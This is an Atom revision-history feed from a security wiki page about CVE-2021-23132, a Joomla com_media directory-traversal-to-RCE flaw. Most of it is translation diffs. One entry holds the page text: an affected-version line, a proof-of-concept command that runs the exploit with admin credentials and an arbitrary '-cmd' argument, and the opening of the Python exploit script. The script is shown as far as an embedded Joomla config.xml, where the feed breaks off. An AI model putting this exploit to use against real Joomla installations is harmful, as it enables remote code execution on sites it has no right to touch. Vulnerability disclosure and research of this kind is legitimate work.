<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Joomla_CMS_com_media%E5%BE%9E%E7%9B%AE%E9%8C%84%E9%81%8D%E6%AD%B7%E5%88%B0RCE%28CVE-2021-23132%29%2Fuk</id>
	<title>Joomla CMS com media從目錄遍歷到RCE(CVE-2021-23132)/uk - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Joomla_CMS_com_media%E5%BE%9E%E7%9B%AE%E9%8C%84%E9%81%8D%E6%AD%B7%E5%88%B0RCE%28CVE-2021-23132%29%2Fuk"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Joomla_CMS_com_media%E5%BE%9E%E7%9B%AE%E9%8C%84%E9%81%8D%E6%AD%B7%E5%88%B0RCE(CVE-2021-23132)/uk&amp;action=history"/>
	<updated>2026-04-07T04:10:23Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Joomla_CMS_com_media%E5%BE%9E%E7%9B%AE%E9%8C%84%E9%81%8D%E6%AD%B7%E5%88%B0RCE(CVE-2021-23132)/uk&amp;diff=3744&amp;oldid=prev</id>
		<title>FuzzyBot: Updating to match new version of source page</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Joomla_CMS_com_media%E5%BE%9E%E7%9B%AE%E9%8C%84%E9%81%8D%E6%AD%B7%E5%88%B0RCE(CVE-2021-23132)/uk&amp;diff=3744&amp;oldid=prev"/>
		<updated>2021-05-31T03:26:19Z</updated>

		<summary type="html">&lt;p&gt;Updating to match new version of source page&lt;/p&gt;
&lt;table class=&quot;diff diff-contentalign-left diff-editfont-monospace&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;chinese&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 03:26, 31 May 2021&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l1&quot; &gt;Line 1:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 1:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;language&lt;/del&gt;/&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;languages &lt;/ins&gt;/&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;== Постраждала версія ==&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;== Постраждала версія ==&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l11&quot; &gt;Line 11:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 11:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[[&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;檔案&lt;/del&gt;:109748558-a898c200-7c0b-11eb-865f-ed903f23b4d9.png]]&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[[&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;File&lt;/ins&gt;:109748558-a898c200-7c0b-11eb-865f-ed903f23b4d9.png]]&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;</summary>
		<author><name>FuzzyBot</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Joomla_CMS_com_media%E5%BE%9E%E7%9B%AE%E9%8C%84%E9%81%8D%E6%AD%B7%E5%88%B0RCE(CVE-2021-23132)/uk&amp;diff=481&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;== Постраждала версія ==&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Joomla_CMS_com_media%E5%BE%9E%E7%9B%AE%E9%8C%84%E9%81%8D%E6%AD%B7%E5%88%B0RCE(CVE-2021-23132)/uk&amp;diff=481&amp;oldid=prev"/>
		<updated>2021-03-19T11:30:51Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;== Постраждала версія ==&amp;quot;&lt;/p&gt;
&lt;table class=&quot;diff diff-contentalign-left diff-editfont-monospace&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;chinese&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 11:30, 19 March 2021&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l1&quot; &gt;Line 1:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 1:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;language/&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;language/&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;div lang&lt;/del&gt;=&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;quot;zh-Hant&amp;quot; dir&lt;/del&gt;=&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;quot;ltr&amp;quot; class&lt;/del&gt;=&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;== &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;Постраждала версія &lt;/ins&gt;==&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;=&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;=影響版本==&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;/div&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;Joomla core&amp;lt;= 3.9.24&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;Joomla core&amp;lt;= 3.9.24&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Joomla_CMS_com_media%E5%BE%9E%E7%9B%AE%E9%8C%84%E9%81%8D%E6%AD%B7%E5%88%B0RCE(CVE-2021-23132)/uk&amp;diff=479&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;Joomla CMS com мультимедійний перехід від каталогу до RCE (CVE-2021-23132)&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Joomla_CMS_com_media%E5%BE%9E%E7%9B%AE%E9%8C%84%E9%81%8D%E6%AD%B7%E5%88%B0RCE(CVE-2021-23132)/uk&amp;diff=479&amp;oldid=prev"/>
		<updated>2021-03-19T11:30:41Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;Joomla CMS com мультимедійний перехід від каталогу до RCE (CVE-2021-23132)&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;language/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;zh-Hant&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
==影響版本==&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Joomla core&amp;lt;= 3.9.24&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==POC:==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
python3 cve-2021-23132.py -url http://192.168.72.140 -u admin -p 1234  -rce 1 -cmd ls&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[檔案:109748558-a898c200-7c0b-11eb-865f-ed903f23b4d9.png]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
import sys&lt;br /&gt;
import requests&lt;br /&gt;
import re&lt;br /&gt;
import argparse&lt;br /&gt;
&lt;br /&gt;
#proxies = {&amp;quot;http&amp;quot;: &amp;quot;http://127.0.0.1:8080&amp;quot;,&amp;quot;https&amp;quot;: &amp;quot;http://127.0.0.1:8080&amp;quot;} &lt;br /&gt;
proxies={}&lt;br /&gt;
try:&lt;br /&gt;
    import lxml.html&lt;br /&gt;
except ImportError:&lt;br /&gt;
    print(&amp;quot;module 'lxml' doesn't exist, type: pip3 install lxml&amp;quot;)&lt;br /&gt;
    exit(0)&lt;br /&gt;
&lt;br /&gt;
def writeConfigFile(filename):&lt;br /&gt;
    print(&amp;quot;[+] Creating config.xml &amp;quot;)&lt;br /&gt;
    content=&amp;quot;&amp;quot;&amp;quot;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;config&amp;gt;&lt;br /&gt;
	&amp;lt;fieldset &lt;br /&gt;
		name=&amp;quot;user_options&amp;quot;&lt;br /&gt;
		label=&amp;quot;COM_USERS_CONFIG_USER_OPTIONS&amp;quot; &amp;gt;&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;allowUserRegistration&amp;quot;&lt;br /&gt;
			type=&amp;quot;radio&amp;quot;&lt;br /&gt;
			label=&amp;quot;COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_LABEL&amp;quot;&lt;br /&gt;
			description=&amp;quot;COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_DESC&amp;quot;&lt;br /&gt;
			class=&amp;quot;btn-group btn-group-yesno&amp;quot;&lt;br /&gt;
			default=&amp;quot;1&amp;quot;&lt;br /&gt;
			&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&lt;br /&gt;
		&amp;lt;/field&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;new_usertype&amp;quot;&lt;br /&gt;
			type=&amp;quot;usergrouplist&amp;quot;&lt;br /&gt;
			label=&amp;quot;COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_LABEL&amp;quot;&lt;br /&gt;
			description=&amp;quot;COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_DESC&amp;quot;&lt;br /&gt;
			default=&amp;quot;2&amp;quot;&lt;br /&gt;
			checksuperusergroup=&amp;quot;0&amp;quot;&lt;br /&gt;
		/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;guest_usergroup&amp;quot;&lt;br /&gt;
			type=&amp;quot;usergrouplist&amp;quot;&lt;br /&gt;
			label=&amp;quot;COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_LABEL&amp;quot;&lt;br /&gt;
			description=&amp;quot;COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_DESC&amp;quot;&lt;br /&gt;
			default=&amp;quot;1&amp;quot;&lt;br /&gt;
			checksuperusergroup=&amp;quot;0&amp;quot;&lt;br /&gt;
		/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;sendpassword&amp;quot;&lt;br /&gt;
			type=&amp;quot;radio&amp;quot;&lt;br /&gt;
			label=&amp;quot;COM_USERS_CONFIG_FIELD_SENDPASSWORD_LABEL&amp;quot;&lt;br /&gt;
			description=&amp;quot;COM_USERS_CONFIG_FIELD_SENDPASSWORD_DESC&amp;quot;&lt;br /&gt;
			class=&amp;quot;btn-group btn-group-yesno&amp;quot;&lt;br /&gt;
			default=&amp;quot;1&amp;quot;&lt;br /&gt;
			&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&lt;br /&gt;
		&amp;lt;/field&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;useractivation&amp;quot;&lt;br /&gt;
			type=&amp;quot;list&amp;quot;&lt;br /&gt;
			label=&amp;quot;COM_USERS_CONFIG_FIELD_USERACTIVATION_LABEL&amp;quot;&lt;br /&gt;
			description=&amp;quot;COM_USERS_CONFIG_FIELD_USERACTIVATION_DESC&amp;quot;&lt;br /&gt;
			default=&amp;quot;0&amp;quot;&lt;br /&gt;
			&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JNONE&amp;lt;/option&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_SELFACTIVATION&amp;lt;/option&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_ADMINACTIVATION&amp;lt;/option&amp;gt;&lt;br /&gt;
		&amp;lt;/field&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;mail_to_admin&amp;quot;&lt;br /&gt;
			type=&amp;quot;radio&amp;quot;&lt;br /&gt;
			label=&amp;quot;COM_USERS_CONFIG_FIELD_MAILTOADMIN_LABEL&amp;quot;&lt;br /&gt;
			description=&amp;quot;COM_USERS_CONFIG_FIELD_MAILTOADMIN_DESC&amp;quot;&lt;br /&gt;
			class=&amp;quot;btn-group btn-group-yesno&amp;quot;&lt;br /&gt;
			default=&amp;quot;0&amp;quot;&lt;br /&gt;
			&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&lt;br /&gt;
		&amp;lt;/field&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;captcha&amp;quot;&lt;br /&gt;
			type=&amp;quot;plugins&amp;quot;&lt;br /&gt;
			label=&amp;quot;COM_USERS_CONFIG_FIELD_CAPTCHA_LABEL&amp;quot;&lt;br /&gt;
			description=&amp;quot;COM_USERS_CONFIG_FIELD_CAPTCHA_DESC&amp;quot;&lt;br /&gt;
			folder=&amp;quot;captcha&amp;quot;&lt;br /&gt;
			filter=&amp;quot;cmd&amp;quot;&lt;br /&gt;
			useglobal=&amp;quot;true&amp;quot;&lt;br /&gt;
			&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JOPTION_DO_NOT_USE&amp;lt;/option&amp;gt;&lt;br /&gt;
		&amp;lt;/field&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;frontend_userparams&amp;quot;&lt;br /&gt;
			type=&amp;quot;radio&amp;quot;&lt;br /&gt;
			label=&amp;quot;COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_LABEL&amp;quot;&lt;br /&gt;
			description=&amp;quot;COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_DESC&amp;quot;&lt;br /&gt;
			class=&amp;quot;btn-group btn-group-yesno&amp;quot;&lt;br /&gt;
			default=&amp;quot;1&amp;quot;&lt;br /&gt;
			&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JSHOW&amp;lt;/option&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JHIDE&amp;lt;/option&amp;gt;&lt;br /&gt;
		&amp;lt;/field&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;site_language&amp;quot;&lt;br /&gt;
			type=&amp;quot;radio&amp;quot;&lt;br /&gt;
			label=&amp;quot;COM_USERS_CONFIG_FIELD_FRONTEND_LANG_LABEL&amp;quot;&lt;br /&gt;
			description=&amp;quot;COM_USERS_CONFIG_FIELD_FRONTEND_LANG_DESC&amp;quot;&lt;br /&gt;
			class=&amp;quot;btn-group btn-group-yesno&amp;quot;&lt;br /&gt;
			default=&amp;quot;0&amp;quot;&lt;br /&gt;
			showon=&amp;quot;frontend_userparams:1&amp;quot;&lt;br /&gt;
			&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JSHOW&amp;lt;/option&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JHIDE&amp;lt;/option&amp;gt;&lt;br /&gt;
		&amp;lt;/field&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;change_login_name&amp;quot;&lt;br /&gt;
			type=&amp;quot;radio&amp;quot;&lt;br /&gt;
			label=&amp;quot;COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_LABEL&amp;quot;&lt;br /&gt;
			description=&amp;quot;COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_DESC&amp;quot;&lt;br /&gt;
			class=&amp;quot;btn-group btn-group-yesno&amp;quot;&lt;br /&gt;
			default=&amp;quot;0&amp;quot;&lt;br /&gt;
			&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&lt;br /&gt;
		&amp;lt;/field&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	&amp;lt;/fieldset&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	&amp;lt;fieldset&lt;br /&gt;
		name=&amp;quot;domain_options&amp;quot;&lt;br /&gt;
		label=&amp;quot;COM_USERS_CONFIG_DOMAIN_OPTIONS&amp;quot;&lt;br /&gt;
		&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;domains&amp;quot;&lt;br /&gt;
			type=&amp;quot;subform&amp;quot;&lt;br /&gt;
			label=&amp;quot;COM_USERS_CONFIG_FIELD_DOMAINS_LABEL&amp;quot;&lt;br /&gt;
			description=&amp;quot;COM_USERS_CONFIG_FIELD_DOMAINS_DESC&amp;quot;&lt;br /&gt;
			multiple=&amp;quot;true&amp;quot;&lt;br /&gt;
			layout=&amp;quot;joomla.form.field.subform.repeatable-table&amp;quot;&lt;br /&gt;
			formsource=&amp;quot;administrator/components/com_users/models/forms/config_domain.xml&amp;quot;&lt;br /&gt;
		/&amp;gt;&lt;br /&gt;
	&amp;lt;/fieldset&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	&amp;lt;fieldset&lt;br /&gt;
		name=&amp;quot;password_options&amp;quot;&lt;br /&gt;
		label=&amp;quot;COM_USERS_CONFIG_PASSWORD_OPTIONS&amp;quot; &amp;gt;&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;reset_count&amp;quot;&lt;br /&gt;
			type=&amp;quot;integer&amp;quot;&lt;br /&gt;
			label=&amp;quot;COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_LABEL&amp;quot;&lt;br /&gt;
